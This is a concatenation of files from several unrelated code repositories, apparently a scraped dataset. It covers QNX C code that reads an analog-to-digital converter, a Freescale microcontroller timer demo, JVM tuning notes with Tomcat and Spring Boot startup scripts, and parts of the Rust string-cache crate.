//types.h-------------------------------------------------------
// Signed 8-bit Type
#ifndef INT8
typedef signed char INT8;
#endif
// Signed 16-bit Type
#ifndef INT16
typedef signed int INT16;
#endif
// Signed 32-bit Type
#ifndef INT32
typedef signed long int INT32;
#endif
// Unsigned 8-bit Type
#ifndef UINT8
typedef unsigned char UINT8;
#endif
// Unsigned 16-bit Type
#ifndef UINT16
typedef unsigned int UINT16;
#endif
// Unsigned 32-bit Type
#ifndef UINT32
typedef unsigned long int UINT32;
#endif
//--------------------------------------------------------------
uintptr_t command_LSB_ctrl_handle;
uintptr_t command_MSB_ctrl_handle;
uintptr_t channel_ctrl_handle;
uintptr_t gain_ctrl_handle;
uintptr_t output_ctrl_handle;
uintptr_t output_data_handle;
UINT16 wait_bit;
INT8 LSB, MSB;
INT16 data;
float voltage;
int main(void)
{
printf("THU\n");
int privity_err;
/* Give this thread root permissions to access the hardware */
privity_err = ThreadCtl(_NTO_TCTL_IO, NULL);
if (privity_err == -1) {
fprintf(stderr, "can't get root permissions\n");
return -1;
}
for(;;){
// Get a handle to the parallel port's Control register
command_LSB_ctrl_handle = mmap_device_io(PORT_LENGTH, COMMAND_LSB_CTRL_ADDRESS);
command_MSB_ctrl_handle = mmap_device_io(PORT_LENGTH, COMMAND_MSB_CTRL_ADDRESS);
channel_ctrl_handle = mmap_device_io(PORT_LENGTH, CHANNEL_CTRL_ADDRESS);
gain_ctrl_handle = mmap_device_io(PORT_LENGTH, GAIN_CTRL_ADDRESS);
//Selecting the range
out8(channel_ctrl_handle, 0x44);
out8(gain_ctrl_handle, 0x01);
// uint x=in8(gain_ctrl_handle);
//Wait for analog input circuit to settle
wait_bit = (in8(gain_ctrl_handle) & 0x20);
while(wait_bit !=0)
{
wait_bit = (in8(gain_ctrl_handle) & 0x20);
}
//Starting the A/D Conversion
//AINTE = 0;
out8(command_LSB_ctrl_handle, 0x80);
//Wait for conversions to finish
while((in8(gain_ctrl_handle) & 0x80) !=0)
{
}
//Read the data
LSB = in8(command_LSB_ctrl_handle);
MSB = in8(command_MSB_ctrl_handle);
//printf("%d\n",LSB);
//printf("%d\n",MSB);
data = (MSB*256) + LSB;
//printf("Data : %d\n",data);
//Converting the data
voltage = (float)(data*5)/32768;
printf("voltage %f\n",voltage);
printf("abs voltage %f\n",fabsf(voltage));
printf("int voltage %d\n",(int)fabsf(voltage));
float abs_voltage = fabsf(voltage);
int solid = (int)fabsf(voltage);
int frac = (int)((abs_voltage-solid)*10);
int position = (solid*4) + (frac/2);
printf("solid = %d, frac = %d, POS = %d\n\n", solid, frac, position);
//assigning digital signals to output port
output_ctrl_handle = mmap_device_io(PORT_LENGTH, 0x28B);
out8(output_ctrl_handle, 0x00);
output_data_handle = mmap_device_io(PORT_LENGTH, 0x288);
out8(output_data_handle, voltage);
//int temp = (voltage & 0x8000) >> 15;
//printf("Temp = %d", temp)
}
}
<file_sep>/ADDFile.c
#include <stdlib.h>
#include <stdio.h>
#include <stdio.h>
#include <unistd.h> /* for sleep() */
#include <stdint.h> /* for uintptr_t */
#include <hw/inout.h> /* for in*() and out*() functions */
#include <sys/neutrino.h> /* for ThreadCtl() */
#include <sys/mman.h> /* for mmap_device_io() */
#define BASE_ADDR 0x280
#define PORT_LENGTH 1
int main(int argc, char *argv[]) {
int privity_err;
uintptr_t ctrl_handle_chennalReg;
uintptr_t ctrl_handle_Inputgain;
uintptr_t ctrl_handle_commandRegMSB;
uintptr_t ctrl_handle_commandRegLSB;
uintptr_t ctrl_handle_portA;
int LSB, MSB, DATA;
struct timespec my_timer_value;
my_timer_value.tv_nsec = 10000; //10us
/* Give this thread root permissions to access the hardware */
privity_err = ThreadCtl( _NTO_TCTL_IO, NULL );
if ( privity_err == -1 )
{
fprintf( stderr, "can't get root permissions\n" );
return -1;
}
ctrl_handle_commandRegLSB = mmap_device_io( PORT_LENGTH, BASE_ADDR);
ctrl_handle_commandRegMSB = mmap_device_io( PORT_LENGTH, BASE_ADDR+1);
ctrl_handle_chennalReg = mmap_device_io( PORT_LENGTH, BASE_ADDR + 2);
ctrl_handle_Inputgain = mmap_device_io( PORT_LENGTH, BASE_ADDR + 3);
ctrl_handle_portA = mmap_device_io( PORT_LENGTH, BASE_ADDR + 8);
ctrl_handle_DIO = mmap_device_io(PORT_LENGTH, BASE_ADDR + B);
out8(ctrl_handle_chennalReg, 0xF0);
// Set Analog Input as -5V to +5V
out8( ctrl_handle_Inputgain, 0x01 );
int port_value = in8(ctrl_handle_Inputgain);
while (port_value & 0x20)
{
//nanospin( &my_timer_value );
port_value = in8(ctrl_handle_Inputgain);
}
out8(ctrl_handle_commandRegLSB, 0x80);
while (in8(ctrl_handle_Inputgain) & 0x80);
LSB = in8(ctrl_handle_commandRegLSB);
MSB = in8(ctrl_handle_commandRegMSB);
DATA = MSB*256 + LSB;
printf("Welcome to the QNX Momentics IDE\n");
return EXIT_SUCCESS;
}
<file_sep>/Freescale_File.c
/******************************************************************************
* Timer Output Compare Demo
*
* Description:
*
* This demo configures the timer to a rate of 1 MHz, and the Output Compare
* Channel 1 to toggle PORT T, Bit 1 at rate of 10 Hz.
*
* The toggling of the PORT T, Bit 1 output is done via the Compare Result Output
* Action bits.
*
* The Output Compare Channel 1 Interrupt is used to refresh the Timer Compare
* value at each interrupt
*
* Author:
* <NAME>
* <NAME>
*
*****************************************************************************/
// system includes
#include <hidef.h> /* common defines and macros */
#include <stdio.h> /* Standard I/O Library */
#include <ctype.h>
#include <stdlib.h>
// project includes
#include "types.h"
#include "derivative.h" /* derivative-specific definitions */
// Definitions
// Change this value to change the frequency of the output compare signal.
// The value is in Hz.
#define OC_FREQ_HZ ((UINT16)10)
// Macro definitions for determining the TC1 value for the desired frequency
// in Hz (OC_FREQ_HZ). The formula is:
//
// TC1_VAL = ((Bus Clock Frequency / Prescaler value) / 2) / Desired Freq in Hz
//
// Where:
// Bus Clock Frequency = 2 MHz
// Prescaler Value = 2 (Effectively giving us a 1 MHz timer)
// 2 --> Since we want to toggle the output at half of the period
// Desired Frequency in Hz = The value you put in OC_FREQ_HZ
//
#define BUS_CLK_FREQ ((UINT32) 2000000)
#define PRESCALE ((UINT16) 2)
#define TC1_VAL ((UINT16) (((BUS_CLK_FREQ / PRESCALE) / 2) / OC_FREQ_HZ))
// Boolean Definitions to make the code more readable.
#define FALSE 0
#define TRUE 1
#define MAXINPUTVALUES 1001
// Normally I'd use something awesome like a bool but we're stuck with this err
// limited system.
// This is used to let the program know when to capture values.
UINT16 captureValues = FALSE;
// holds the timer values captured on the rising edge.
UINT16 timerValuesUs [1001] = { 0 };
// holds the time inteval between rising edges.
UINT16 pulseIntervalsUs [1000] = { 0 };
UINT16 getUINT16Input(void);
UINT16 post_function(void);
void processTimerMeasurements(UINT16 lowerBoundaryUs, UINT16 upperBoundaryUs);
UINT16 MaxInputValue;
UINT16 MinInputValue;
// Initializes SCI0 for 8N1, 9600 baud, polled I/O
// The value for the baud selection registers is determined
// using the formula:
//
// SCI0 Baud Rate = ( 2 MHz Bus Clock ) / ( 16 * SCI0BD[12:0] )
//--------------------------------------------------------------
void InitializeSerialPort(void)
{
// Set baud rate to ~9600 (See above formula)
SCI0BD = 13;
// 8N1 is default, so we don't have to touch SCI0CR1.
// Enable the transmitter and receiver.
SCI0CR2_TE = 1;
SCI0CR2_RE = 1;
}
// Initializes I/O and timer settings for the demo.
//--------------------------------------------------------------
void InitializeTimer(void)
{
// Set the timer prescaler to %2, since the bus clock is at 2 MHz,
// and we want the timer running at 1 MHz
TSCR2_PR0 = 1;
TSCR2_PR1 = 0;
TSCR2_PR2 = 0;
// Change to an input compare. HR
// Enable input capture on Channel 1
TIOS_IOS1 = 0;
// Set up input capture edge control to capture on a rising edge.
TCTL4_EDG1A = 1;
TCTL4_EDG1B = 0;
// from here down we want this code. HR.
// Clear the input capture Interrupt Flag (Channel 1)
TFLG1 = TFLG1_C1F_MASK;
// Enable the input capture interrupt on Channel 1;
TIE_C1I = 1;
//
// Enable the timer
//
TSCR1_TEN = 1;
//
// Enable interrupts via macro provided by hidef.h
//
EnableInterrupts;
}
// Output Compare Channel 1 Interrupt Service Routine
// Refreshes TC1 and clears the interrupt flag.
//
// The first CODE_SEG pragma is needed to ensure that the ISR
// is placed in non-banked memory. The following CODE_SEG
// pragma returns to the default scheme. This is neccessary
// when non-ISR code follows.
//
// The TRAP_PROC tells the compiler to implement an
// interrupt funcion. Alternitively, one could use
// the __interrupt keyword instead.
//
// The following line must be added to the Project.prm
// file in order for this ISR to be placed in the correct
// location:
// VECTOR ADDRESS 0xFFEC OC1_isr
#pragma push
#pragma CODE_SEG __SHORT_SEG NON_BANKED
//--------------------------------------------------------------
void interrupt 9 OC1_isr( void )
{
// This interrupt stores the values from the table into the array.
// we don't want to do any calculations because we are dealing with
// Us and want the reads to be as accurate as possible.
// set the interrupt enable flag for that port because it is cleared every
// everytime an interrupt fires.
TFLG1 = TFLG1_C1F_MASK;
}
#pragma pop
// Entry point of our application code
//--------------------------------------------------------------
void main(void)
{
UINT8 userInput = 0;
UINT16 lowerBoundaryUs = 0;
UINT16 upperBoundaryUs = 0;
InitializeSerialPort();
InitializeTimer();
// Post function
// if we pass post run the program otherwise go home.
if(post_function())
{
//start of main loop
for(;;)
{
// Check to see if the user wants another set of readings
(void) printf("Press s key to capture the readings or e to end the program. ");
}
}
(void) printf("\r\n\r\nOk I'm outa here!!!\r\n\r\n");
}
//*****************************************************************************
// This unmitigated piece of crap will test to make sure the timer is running
// on the board. If it is not running it will print an error message and fail.
//
//
// Parameters: None.
//
// Return: None.
//*****************************************************************************
UINT16 post_function(void){
UINT16 timer_check_value1, timer_check_value2; //Two values to check whether timer is running or not.
UINT8 i;
timer_check_value1 = TCNT; //Take first value at some time.
for(i=0;i<200;i++) { //Take some rest before reading second value
}
timer_check_value2 = TCNT; //Take second value at some time
if (timer_check_value2 == timer_check_value1) {
(void)printf("POST failed! You buggy man.\r\n"); //POST get failed. Big reason to worry!
return FALSE;
}
return TRUE;
}
<file_sep>/README.md
ADC_QNX
=======
|
7d095e8d7d52dc520d4f794d4ec535a9fed7ba7a
|
[
"Markdown",
"C"
] | 5
|
C
|
rajeevakarv/ADC_QNX
|
70006905f078a89abc11103a6f07d260e6dcfd21
|
113c276b7cb1bf6d97de749812952c77de8f5479
|
refs/heads/master
|
<file_sep># JVM
JVM 常见case,命令,以及调优手段。
```
.
├── md [相关说明文档]
└── tool [常用工具以及工具文档]
```
<file_sep>package com.test;
import java.util.ArrayList;
import java.util.List;
/**
* 测试gc内存流转过程,观察从Eden到Survivor再到Old的整个过程
*
* 用jdk自带工具jvisualvm分析(Visual GC)
*/
public class HeapMoveProcessTest {
public static void main(String[] args) throws InterruptedException {
List list = new ArrayList();
while (true) {
list.add(new Obj());
Thread.sleep(30);
}
}
static class Obj {
byte[] bytes = new byte[1024 * 100]; // 100kb
}
}
<file_sep># PROD JAVA OPTS启动参数说明
## Tomcat
因为是通过web容器Tomcat启动,故相关配置在Tomcat/bin目录下
```
/opt/tomcat/apache-tomcat/bin
.
├── bootstrap.jar
├── catalina.bat
├── catalina.sh
├── catalina-tasks.xml
├── commons-daemon.jar
├── commons-daemon-native.tar.gz
├── configtest.bat
├── configtest.sh
├── daemon.sh
├── digest.bat
├── digest.sh
├── setclasspath.bat
├── setclasspath.sh
├── setenv.sh
├── setenv.sh20180515
├── shutdown.bat
├── shutdown.sh
├── startup.bat
├── startup.sh
├── tomcat-juli.jar
├── tomcat-native.tar.gz
├── tool-wrapper.bat
├── tool-wrapper.sh
├── version.bat
└── version.sh
```
setenv.sh 文件里设置启动环境配置
### OPTS
```
cat /opt/tomcat/apache-tomcat/bin/setenv.sh
#!/bin/sh
UMASK=0022
JAVA_OPTS=" $JAVA_OPTS
-Dspring.profiles.active=prod
-Dfile.encoding=UTF-8
-Xmx1500m -Xms1500m
-XX:SurvivorRatio=8
-XX:+PrintTenuringDistribution
-XX:+PrintGCDetails
-XX:+PrintGCDateStamps
-XX:+PrintGCTimeStamps
-verbose:gc
-Xloggc:${CATALINA_BASE}/logs/gc-$(date +%Y-%m-%d).log
-XX:GCLogFileSize=100M
-XX:+UseGCLogFileRotation
-XX:NumberOfGCLogFiles=5
-XX:+HeapDumpOnOutOfMemoryError
-XX:HeapDumpPath=${CATALINA_BASE}/logs/heapdump.hprof "
```
#### 常规设置
- -Dspring.profiles.active=prod 启用spring环境prod
- -Dfile.encoding 设置文件字符编码
- -Xmx、-Xms 设置堆启动时大小、设置堆最大大小
- -XX:SurvivorRatio=8 设置Eden与Survior大小占比,默认为 8:1:1,此值意思为 8:1:1
#### GC设置
- -XX:+PrintTenuringDistribution 输出显示在survivor空间里面有效的对象的岁数情况
- -XX:+PrintGCDetails 打印GC详细信息
- -XX:+PrintGCDateStamps 打印GC详细时间
- -XX:+PrintGCTimeStamps 打印CG发生的时间戳
- -verbose:gc 在控制台输出GC情况
- -Xloggc: 指定GC log的位置
- -XX:GCLogFileSize 设置滚动日志文件的大小,必须大于8k
- -XX:+UseGCLogFileRotation 打开GC日志滚动记录功能
- -XX:NumberOfGCLogFiles 设置滚动日志文件个数
- -XX:+HeapDumpOnOutOfMemoryError 参数表示当JVM发生OOM时,自动生成DUMP文件
- -XX:HeapDumpPath 参数表示生成DUMP文件的路径,也可以指定文件名称
## Springboot
内容配置在 /etc/init.d/ 目录下,最终通过命令 service 来启动。
下面以project为`micro-service`举例说明。
e.g.
```
service micro-service restart
```
```
cat /etc/init.d/micro-service
#!/bin/bash
# description: micro-service Start Stop Restart
# processname: micro-service
# chkconfig: 234 20 80
DATETIME=`date +%Y-%m-%d`
NAME=micro-service
JAVA_HOME=/opt/java/jdk8
USER=root
PROFILE=prod
APP_BASE=/opt/springboot/$NAME
PID_FILE=$APP_BASE/$NAME.pid
JAVA_OPTS=" ${JVM_OPTS}
-Dfile.encoding=UTF-8
-Xms1024M
-Xmx1536M
-XX:+PrintGC
-XX:+PrintGCDetails
-XX:+PrintGCTimeStamps
-XX:+PrintGCDateStamps
-Xloggc:$APP_BASE/logs/gc.log
-Dapp.base=${APP_BASE}
-Dspring.profiles.active=$PROFILE "
DAEMON="$JAVA_HOME/bin/java $JAVA_OPTS -jar $APP_BASE/$NAME.jar "
function startservice (){
if [ -f $PID_FILE ] ;then
pid=$(cat $PID_FILE)
if [ "$(ps --pid $pid | wc -l)" -ne 1 ] ;then
echo -e "$NAME is already running "
else
echo -e "Starting daemon: $NAME "
rm -rf $PID_FILE
start-stop-daemon --start --quiet --chuid $USER --make-pidfile --pidfile $PID_FILE --background --exec /bin/bash -- -c "$DAEMON"
fi
else
echo -e "Starting daemon: $NAME "
start-stop-daemon --start --quiet --chuid $USER --make-pidfile --pidfile $PID_FILE --background --exec /bin/bash -- -c "$DAEMON"
fi
}
function stopservice (){
echo -e "Stopping daemon: $NAME "
if [ -f $PID_FILE ] ;then
pid=$(cat $PID_FILE)
if [ "$(ps --pid $pid | wc -l)" -ne 1 ] ;then
# kill -9 $(ps -o pid --ppid $pid | sed 1d)
kill -9 $pid
rm -rf $PID_FILE
else
rm -rf $PID_FILE
fi
echo -e "$NAME stopped"
else
echo -e "$NAME is not started or $PID_FILE not exist"
fi
}
case $1 in
start)
startservice
;;
stop)
stopservice
;;
restart)
stopservice
sleep 2
startservice
;;
esac
exit 0
```
|
9674d39bd178e6aee1cc122dbe917bd3df69af5f
|
[
"Markdown",
"Java"
] | 3
|
Markdown
|
youyoukele2016/jvm
|
d27896ec588db18a2e658549084b3e38bc156564
|
55033185b2965bb652b55b1dc591558a76ced88a
|
refs/heads/master
|
<file_sep># string-cache
A string interning library for Rust, developed as part of the [Servo](https://github.com/servo/servo) project.
<file_sep>// Copyright 2014 The Servo Project Developers. See the COPYRIGHT
// file at the top-level directory of this distribution.
//
// Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or
// http://www.apache.org/licenses/LICENSE-2.0> or the MIT license
// <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your
// option. This file may not be copied, modified, or distributed
// except according to those terms.
#![crate_name = "string_cache"]
#![crate_type = "rlib"]
#![feature(phase, macro_rules, default_type_params, globs)]
#![no_std]
#[phase(plugin, link)]
extern crate core;
extern crate alloc;
extern crate collections;
#[cfg(test)]
extern crate test;
extern crate std;
#[phase(plugin)]
extern crate phf_mac;
extern crate phf;
#[phase(plugin)]
extern crate lazy_static;
extern crate xxhash;
#[phase(plugin)]
extern crate string_cache_macros;
#[cfg(feature = "log-events")]
extern crate serialize;
pub use atom::Atom;
pub use namespace::{Namespace, QualName};
#[cfg(feature = "log-events")]
pub mod event;
pub mod atom;
pub mod namespace;
// A private module so that macro-expanded idents like
// `::string_cache::atom::Atom` will also work in this crate.
//
// `libstd` uses the same trick.
#[doc(hidden)]
mod string_cache {
pub use atom;
pub use namespace;
}
|
03484ee6e156df0586ed36e89cb3f09b61012805
|
[
"Markdown",
"Rust"
] | 2
|
Markdown
|
akosthekiss/string-cache
|
c63f5640bc124daf77076167afcde88e9e3dc50e
|
9e2541080ce8af447381c8740f3a298921c9bf47
|
refs/heads/master
|
<repo_name>Wal1802/Quill-Editor-with-ImagePaste-and-ImageDrop<file_sep>/src/main.js
// The Vue build version to load with the `import` command
// (runtime-only or standalone) has been set in webpack.base.conf with an alias.
import Vue from "vue";
import App from "./App";
Vue.config.productionTip = false;
import VueQuillEditor from "vue-quill-editor";
import Quill from "quill";
import { ImageDrop } from "quill-image-drop-module";
import { ImagePaste } from "./imagePasteClass";
// import ImageResize from "quill-image-resize-module";
// alert(ImageResize)
import Im from "./ResizeImage/ImageResize";
Quill.register("modules/imageDrop", ImageDrop);
Quill.register("modules/imagePaste", ImagePaste);
Quill.register("modules/imageResize", Im);
Vue.use(VueQuillEditor);
Vue.component("quill-editor", VueQuillEditor.quillEditor);
/* eslint-disable no-new */
new Vue({
el: "#app",
components: { App },
template: "<App/>"
});
<file_sep>/TextEditor/modulos/ImageResize/assets/align-left.js
const result = `<svg viewbox="0 0 18 18">
<line class="ql-stroke" x1="3" x2="15" y1="9" y2="9"></line>
<line class="ql-stroke" x1="3" x2="13" y1="14" y2="14"></line>
<line class="ql-stroke" x1="3" x2="9" y1="4" y2="4"></line>
</svg>`;
export default result;<file_sep>/TextEditor/modulos/ImageResize/assets/align-right.js
const result = `<svg viewbox="0 0 18 18">
<line class="ql-stroke" x1="15" x2="3" y1="9" y2="9"></line>
<line class="ql-stroke" x1="15" x2="5" y1="14" y2="14"></line>
<line class="ql-stroke" x1="15" x2="9" y1="4" y2="4"></line>
</svg>`;
export default result;
|
d2577edfc620601cfdf272cf867e5db1263fd1f7
|
[
"JavaScript"
] | 3
|
JavaScript
|
Wal1802/Quill-Editor-with-ImagePaste-and-ImageDrop
|
c1095ae3767dfe242b3165d9550d655a792d05fc
|
62343b079c68b9bc4e5d0c7ff3b7fef236e89c6e
|
refs/heads/master
|
<repo_name>profei/android-sdk-updater<file_sep>/sdk_updater/update.py
#!/usr/bin/python
from __future__ import print_function
import os
import sys
import pexpect
from sdk_updater.scan import scan
from sdk_updater.list import list_packages
class Update:
def __init__(self, installed, available):
self.installed = installed
self.available = available
def __str__(self):
return '{:s} [{:s} -> {:s}]'.format(self.installed.name, self.installed.revision, self.available.revision)
def to_dict(packages):
d = {}
for p in packages:
d[p.name] = p
return d
def compute_updates(installed, available):
updates = []
ad = to_dict(available)
for i in installed:
a = ad.get(i.name)
if a is None:
print(' Update site is missing package \'{:s}\''.format(i.name), file=sys.stderr)
continue
if a.semver > i.semver:
updates.append(Update(i, a))
return updates
def compute_requests(requested, available):
requests = []
ad = to_dict(available)
for r in requested:
a = ad.get(r)
if a is None:
print(' Update site is missing package \'{:s}\''.format(r), file=sys.stderr)
continue
requests.append(a)
return requests
def remove_packages(packages, requested):
pd = to_dict(packages)
diff = set()
for r in requested:
if r not in pd:
diff.add(r)
return diff
def scan_missing(sdk, packages, verbose=False):
# Re-scan SDK root to check for failed installs.
print('Re-scanning {:s}...'.format(sdk))
installed = scan(sdk, verbose=verbose)
missing = [p for p in packages if p not in installed]
if missing:
print('Failed to install packages:', file=sys.stderr)
for m in missing:
print(' ', m, file=sys.stderr)
return missing
def update_packages(android, package_filter, options=None, verbose=False, timeout=None):
if options is None:
options = []
args = ['update', 'sdk', '--no-ui', '--all', '--filter', package_filter] + options
installer = pexpect.spawn(android, args=args, timeout=timeout)
if verbose:
if sys.version_info >= (3,):
installer.logfile = sys.stdout.buffer
else:
installer.logfile = sys.stdout
while True:
i = installer.expect([r"Do you accept the license '.+' \[y/n\]:",
pexpect.TIMEOUT, pexpect.EOF])
if i == 0:
# Prompt
installer.sendline('y')
elif i == 1:
# Timeout
print('Package installation timed out after {:d} seconds.'
.format(timeout), file=sys.stderr)
break
else:
break
def main(sdk, bootstrap=None, options=None, verbose=False, timeout=None, dry_run=False):
if timeout == 0:
timeout = None
android = os.path.join(sdk, 'tools', 'android')
if not os.path.isfile(android):
print('{:s} not found. Is ANDROID_HOME correct?'.format(android))
exit(1)
print('Scanning', sdk, 'for installed packages...')
installed = scan(sdk, verbose=verbose)
print(' ', str(len(installed)), 'packages installed.')
# Remove package names we already have
requested = []
if bootstrap:
requested = remove_packages(installed, bootstrap)
print('Querying update sites for available packages...')
available = list_packages(android, options=options, verbose=verbose)
print(' ', str(len(available)), 'packages available.')
requests = compute_requests(requested, available)
updates = compute_updates(installed, available)
for r in requests:
print('Installing: {:s}'.format(str(r)))
for u in updates:
print('Updating: {:s}'.format(str(u)))
to_install = set(requests + [u.available for u in updates])
if not to_install:
print("All packages are up-to-date.")
exit(0)
if dry_run:
print("--dry-run was set; exiting.")
exit(0)
package_filter = ','.join([p.name for p in to_install])
update_packages(android, package_filter, options, verbose, timeout)
# Re-scan SDK dir for packages we missed.
missing = scan_missing(sdk, to_install, verbose=verbose)
if missing:
print('Finished: {:d} packages installed. Failed to install {:d} packages.'
.format(len(to_install) - len(missing), len(missing)))
exit(1)
else:
print('Finished: {:d} packages installed.'.format(len(to_install)))
exit(0)
if __name__ == '__main__':
main(sys.argv[1:])
<file_sep>/bin/android-sdk-updater
#!/usr/bin/python
from __future__ import print_function
import argparse
import os
import sys
from sdk_updater import __version__
from sdk_updater import update as update_sdk
def main():
# Create our parser
parser = argparse.ArgumentParser(
prog='android-sdk-updater',
description='Update an Android SDK installation')
# Set up our command-line arguments
parser.add_argument('-v', '--version', action='version',
version='%(prog)s {v}'.format(v=__version__))
parser.add_argument('-a', '--android-home',
help='the path to your Android SDK')
parser.add_argument('-d', '--dry-run', action='store_true',
help='compute packages to install but do not install anything')
parser.add_argument('-t', '--timeout', type=int, default=0,
help='timeout in seconds for package installation, or 0 to wait indefinitely (default)')
parser.add_argument('-vv', '--verbose', action='store_true',
help='show extra output from android tools')
parser.add_argument('-o', '--options', nargs=argparse.REMAINDER,
help='options to pass to the "android" tool; must be the final option specified')
parser.add_argument('package', nargs='*',
help='name of SDK package to install if not already installed')
# Get our arguments
args = parser.parse_args()
# Find the Android SDK
android_home = os.environ.get('ANDROID_HOME')
if args.android_home:
android_home = args.android_home
if not android_home:
parser.error('Please set --android-home or export $ANDROID_HOME in your environment')
if args.timeout < 0:
parser.error('Timeout must be a positive number of seconds')
# Read packages from stdin
packages = list(args.package)
if not sys.stdin.isatty():
for line in sys.stdin:
packages.extend(line.split())
# Run the updater
update_sdk.main(android_home,
bootstrap=packages,
options=args.options,
verbose=args.verbose,
timeout=args.timeout,
dry_run=args.dry_run)
if __name__ == '__main__':
try:
sys.exit(main())
except KeyboardInterrupt:
sys.exit()
<file_sep>/HISTORY.rst
.. :changelog:
Change Log
----------
0.0.2 (2015-12-17)
++++++++++++++++++
**Bugfixes**
- Handle Unicode strings properly for Python 2.
- Blacklist the NDK package. Plans are in place to support this in a future release.
- Use non-zero exit code when installation of one or more packages fail.
0.0.1 (2015-11-27)
++++++++++++++++++
**Birth**
- Support incremental updates of an SDK installation.
- Support forcing installation of arbitrary SDK packages.
- Read packages from the command line or STDIN.
- Configurable timeouts for package installation.
- Dry-run and verbose output modes for debugging.
|
d3f4be3332970d52e866c79da04ffbec64ff79be
|
[
"Python",
"reStructuredText"
] | 3
|
Python
|
profei/android-sdk-updater
|
2399fc62d319ea399c2886a3efb860ff879bb472
|
e3bdb5060caab1fafe87c73ce9ee7c4493ca6f4c
|
refs/heads/master
|
<file_sep># moonfolio
Your Online Cryptocurrency Portfolio
<file_sep><div class="sidebar" data-color="purple" data-image="../assets/img/sidebar-1.jpg">
<?php include_once "logo.php"?>
<div class="sidebar-wrapper">
<ul class="nav">
<li class="active">
<a href="./index.php">
<i class="material-icons">dashboard</i>
<p>Dashboard</p>
</a>
</li>
<li class="active">
<a href="#">
<i class="material-icons">add_circle</i>
<p>Add Investment</p>
</a>
</li>
<li class="active">
<a href="./investment.php">
<i class="material-icons">thumb_up</i>
<p>View All Investment</p>
</a>
</li>
<li class="active">
<a href="#">
<i class="material-icons">delete</i>
<p>Delete Investment</p>
</a>
</li>
<li class="active">
<a href="#">
<i class="material-icons">settings</i>
<p>Settings</p>
</a>
</li>
<li class="active">
<a href="#">
<i class="material-icons">swap_horiz</i>
<p>Logout</p>
</a>
</li>
<!-- <li>-->
<!-- <a href="notifications.html">-->
<!-- <i class="material-icons text-gray">notifications</i>-->
<!-- <p>Notifications</p>-->
<!-- </a>-->
<!-- </li>-->
<li class="active-pro">
<a href="upgrade.html">
<i class="material-icons">unarchive</i>
<p>Upgrade to PRO</p>
</a>
</li>
</ul>
</div>
</div><file_sep><!doctype html>
<html lang="en">
<?php include_once "templates/head.php"?>
<body>
<div class="wrapper">
<?php include_once "templates/sidebar.php"?>
<div class="main-panel">
<?php echo str_replace("{page}","Dashboard",file_get_contents("templates/navbar.php"));?>
<?php include_once "templates/content-dashboard.php"?>
<?php include_once "templates/footer.php"?>
</div>
</div>
</body>
<?php include_once "templates/scripts.php"?>
<?php include_once "templates/styles.php"?>
</html>
<file_sep><!-- Core JS Files -->
<script src="./assets/js/jquery-3.1.0.min.js" type="text/javascript"></script>
<script src="./assets/js/bootstrap.min.js" type="text/javascript"></script>
<script src="./assets/js/material.min.js" type="text/javascript"></script>
<!-- Charts Plugin -->
<script src="./assets/js/chartist.min.js"></script>
<!-- Notifications Plugin -->
<script src="./assets/js/bootstrap-notify.js"></script>
<!-- Google Maps Plugin -->
<script type="text/javascript" src="https://maps.googleapis.com/maps/api/js"></script>
<!-- Material Dashboard javascript methods -->
<script src="./assets/js/material-dashboard.js"></script>
<!-- Material Dashboard DEMO methods, don't include it in your project! -->
<script src="./assets/js/demo.js"></script>
<script src="https://cdn.datatables.net/1.10.15/js/jquery.dataTables.min.js"></script>
<script type="text/javascript">
$(document).ready(function(){
// Javascript method's body can be found in assets/js/demos.js
demo.initDashboardPageCharts();
});
$(document).ready(function() {
$('#coins').DataTable();
} );
$(document).ready(function() {
$('#monthly').DataTable();
} );
</script>
<script>
/*
Polymer Example: https://polymer-tut.appspot.com/
<NAME> @keremciu
https://twitter.com/keremciu
https://dribbble.com/keremciu
----------------
Hey Everyone,
I love material design and I developed the following polymer app without canvas and polymer.
I've used Only CSS3 - Pure Javascript! I hope you like it :)
*/
window.onload = function() {
var heart = document.getElementsByClassName("heart");
var classname = document.getElementsByClassName("tabitem");
var boxitem = document.getElementsByClassName("box");
var clickFunction = function(e) {
e.preventDefault();
var a = this.getElementsByTagName("a")[0];
var span = this.getElementsByTagName("span")[0];
var href = a.getAttribute("href").replace("#","");
for(var i=0;i<boxitem.length;i++){
boxitem[i].className = boxitem[i].className.replace(/(?:^|\s)show(?!\S)/g, '');
}
document.getElementById(href).className += " show";
for(var i=0;i<classname.length;i++){
classname[i].className = classname[i].className.replace(/(?:^|\s)active(?!\S)/g, '');
}
this.className += " active";
span.className += 'active';
var left = a.getBoundingClientRect().left;
var top = a.getBoundingClientRect().top;
var consx = (e.clientX - left);
var consy = (e.clientY - top);
span.style.top = consy+"px";
span.style.left = consx+"px";
span.className = 'clicked';
span.addEventListener('webkitAnimationEnd', function(event){
this.className = '';
}, false);
};
for(var i=0;i<classname.length;i++){
classname[i].addEventListener('click', clickFunction, false);
}
for(var i=0;i<heart.length;i++){
heart[i].addEventListener('click', function(e) {
var classString = this.className, nameIndex = classString.indexOf("active");
if (nameIndex == -1) {
classString += ' ' + "active";
}
else {
classString = classString.substr(0, nameIndex) + classString.substr(nameIndex+"active".length);
}
this.className = classString;
}, false);
}
}
</script>
|
030a38d2082e9b859388625d765c04f86848a5d6
|
[
"Markdown",
"PHP"
] | 4
|
Markdown
|
Anshul0305/moonfolio
|
b816f30b72002d0a92d94bfbcd34c63e505acd75
|
606432e9143bf10673cf48ce367d2336f99a5b24
|
refs/heads/master
|
<repo_name>18645956947/python-<file_sep>/发邮件.py
#发邮件的库
import smtplib
#邮件文本
from email.mime.text import MIMEText
#smtp服务器
SMTPServer = "smtp.163.com"
#发邮件的地址
sender = "<EMAIL>"
#发送者的密码
passewd = "<PASSWORD>"
#设置发送的内容
message = "你好啊,朋友,我是周周"
#转换为邮件文本
msg = MIMEText(message)
#标题
msg["Subject"] = "来自帅哥的问候"
#发送者
msg["From"] = sender
#创建(连接)SMTP服务器
mailServer = smtplib.SMTP(SMTPServer, 25)
#登录邮箱
mailServer.login(sender, passewd)
#发送邮件
mailServer.sendmail(sender, ["<EMAIL>", "<EMAIL>"], msg.as_string())
#退出邮箱
mailServer.quit()
<file_sep>/README.md
# python 实现收发邮件
|
8a9dc109362f98c3ff99bc470eb3331196a08622
|
[
"Markdown",
"Python"
] | 2
|
Python
|
18645956947/python-
|
865c3e0e5dc073b15bc256b61e6ce10e27d4ad68
|
0fc55dc1f116a4900374f991e9f0672e7a06b151
|
refs/heads/master
|
